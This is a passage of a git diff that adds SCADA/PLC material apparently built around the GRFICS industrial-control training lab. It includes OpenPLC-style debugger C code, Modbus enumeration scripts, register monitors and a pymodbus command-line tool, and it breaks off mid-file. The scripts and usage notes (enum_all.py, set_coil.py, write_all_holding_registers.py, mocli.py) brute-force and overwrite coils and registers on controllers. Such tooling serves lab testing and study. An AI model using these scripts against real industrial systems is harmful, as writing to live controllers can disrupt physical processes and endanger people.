&((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to 